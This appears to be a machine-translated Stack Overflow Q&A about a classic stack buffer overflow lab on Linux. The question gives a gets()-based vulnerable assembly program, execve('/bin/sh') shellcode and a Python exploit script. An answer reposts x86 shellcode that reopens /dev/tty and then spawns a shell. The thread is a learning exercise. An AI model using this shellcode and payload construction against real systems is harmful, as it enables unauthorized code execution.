18

Linux(amd64)でバッファオーバーフローを試してみて、単純なプログラムを悪用しようとしましたが、失敗しました。セキュリティ機能を無効にしました(sysctl -w kernel.randomize_va_space = 0およびBIOSのnxビットを使用したアドレス空間配置のランダム化)。スタックにジャンプしてシェルコードを実行しますが、シェルは起動しません。execve syscallは成功しますが、その後は終了します。何が問題なのか分かりますか?シェルコードをスタンドアロンで実行すると、問題なく動作します。

ボーナスの質問:printfを呼び出す前にraxをゼロに設定する必要があるのはなぜですか?(コードのコメントを参照してください)

脆弱なファイルbuffer.s

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

explore.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

コンパイル済み:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

で始まった:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

gdbを使用したデバッグ:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
4

2 に答える 2

14

私は現在、VM内のUbuntu9.10でほぼ同じ問題を抱えています。OSのすべてのセキュリティ測定を無効にし、「プログラムを終了して終了コードを42に設定する」などの単純なエクスプロイトは機能しますが、シェルを開こうとすると、プログラムは終了します。gdbの出力は同じです:

(gdb)run <exploit.0xbffff3b8
プログラムの開始:/home/seminar/ubung/target/client <exploit.0xbffff3b8

パスワードを入力してください:申し訳ありません。間違ったパスワード。
新しいプログラムの実行:/ bin / bash

プログラムは正常に終了しました。
(gdb)

物事は、私はそれが約で動作する必要があります。プレゼンテーションに16時間:-D


更新:私はこのきちんとした研究を見つけました:www.shell-storm.org/papers/files/539.pdf

16ページには、「シェルを実行しようとすると、この構成ですぐに終了します」と書かれています。

get()を使用しない他の例では、シェルを非常にうまく生成します。残念ながら、彼らはそれがそのように機能しない理由についてのヒントを与えていません。:(


次の更新:それはstdinと関係があるようです。シェルは、元のプロセスから取得したものを適切に使用できません。(evilsh)のソースコードを見つけた最小限のシェルを使ってみました。入力を読み込もうとした時点でクラッシュしました。私の推測では、bash / dashはこれをチェックし、stdinに問題があるとサイレントに終了します。


ここで私とこの会話をしたことで私を殺さないでください、しかし...

私は解決策を見つけました!

何らかの理由で、入力を再度開く必要があります。私はここで動作するシェルコードを見つけました:

http://www.milw0rm.com/shellcode/2040

プロンプトが難しいとは思いませんが、開いたシェルを使用してプログラムなどを実行できます。

于 2010-05-19T21:11:23.397 に答える
4

Zenoc から提供されたリンクは無効になっていますが、Wayback マシンではまだ見つけることができます。便宜上、以下に再掲します。コード内のすべてのes が、シェルコードが保存されているバッファーに食い込んでしまうため、add $0x10,%espスタック スペースを増やすために先頭に含める必要がありました。pushそれもシェルコードに含めたい場合は、先頭に「\x83\xc4\x10」を追加するだけです。シェルコードは、追加なしで 55 バイト、追加ありで 58 バイトです。

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

注:編集キューがいっぱいであるため、これを Zenoc の回答に編集として追加できませんでした。

ターミナルと のスタックが異なるためにシェルコードのアドレスを特定するのに問題がある場合は、こちらgdbの回答をご覧ください。

于 2017-03-30T05:50:09.913 に答える